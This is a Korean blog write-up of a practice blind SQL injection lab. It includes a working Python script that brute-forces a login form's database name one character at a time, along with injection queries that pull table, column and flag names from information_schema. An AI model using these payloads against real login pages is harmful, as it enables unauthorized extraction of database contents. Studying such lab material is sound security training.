이번 문제의 겨우 ID: mario, PW: mariosuper 라는 계정이 주어졌다. 이 경우는 무조건 참이 되어 로그인이 승인이 되기 때문에 ID에 추가로 데이터를 검증하도록하여 db의 내용을 검출해 낼 수 있다.

mario' and '1'='1 은 참이기 때문에 로그인이 승인되는 것처럼 mario ' and substring(database(),1,1)=a 이런식으로 여러번 요청을 보내 데이터베이스의 이름을 알아 낼 수 있는 것이다.

이번 문제도 다른문제들과 같이 아래와 같은 순서로 찾아갈 것이다.

db 이름

table 이름

column 이름

 

이번의 경우 한글자씩 비교하면서 데이터를 가져와야하기 때문에 substring를 이용해 한글자씩 가져오고 ascii를 통해 숫자로 쉽게 데이터를 비교하도록 하면된다.

1. db 이름 알아내기

import requests

url='http://normaltic.com:7777/sqli_3/login.php'
cookies={'PHPSESSID':'uepv7p3c6a6o0i3nl02a3e2p3h'}

pw_str=''
for position in range(1,9):
    for find_pw in range(33,127):
        payload = "mario'and (ascii(substring((select database()),{},1)) ={}) and '1'='1".format(position,find_pw)

        parameter = {'UserId': payload, 'Password': 'mariosuper', 'Submit' : 'Login'}

        res = requests.post( url, data=parameter, cookies=cookies)
        if ("jumbotron" in res.text):
            pw_str += chr(find_pw)
            print("pw=", pw_str)
            break

    if("jumbotron" not in res.text):
        break
    print("next")
print("Found all pw=", pw_str)




2. table 이름 알아내기

payload 부분에 코드만 변경하면 된다.

다음부터는 반복이다.

 

 

database 이름 찾기
select database()

찾은 데이터베이스명 sqli_3
---------------------------------------------------------------------------------
table 이름 찾기
select table_name from information_schema.tables where table_schema='sqli_2' limit 0,1

찾은 테이블명 flag_table
---------------------------------------------------------------------------------
column 이름 찾기
select column_name from information_schema.columns where table_name='flag_table' limit 0,1
찾은 column명 flag
---------------------------------------------------------------------------------
flag 찾기

select flag from flag_table limit 0,1

 

 

코드를 작성했는데 너무 302 ok 라는 부분만 집중하였던 것 같다.

그리고 라이브러리의 특성에 대해서도 알아야할 필요성이 있다 

내가 사용한 Request 라는 라이브러리는 status code 라는 옵션이 존재하는데 로그인 페이지에서 이것을 이용할 경우 로그인 성공시 다른 페이지로 이동하게 된다. 내가 원하는건 로그인 페이지에서의 응답인데 이 라이브러리는  알아서 리다이렉트 된 다른 페이지의 응답을 가져와서 계속 200이 뜨게 된다.

그렇기 때문에 아무리 수정을 해도 계속 200이 떠버리는 것이다. 이를 해결하기 위해 text 옵션을 줘서 로그인 페이지의 응답 내용을 하나 detect하여 로그인 승인을 판별하였다.

 

+ Recent posts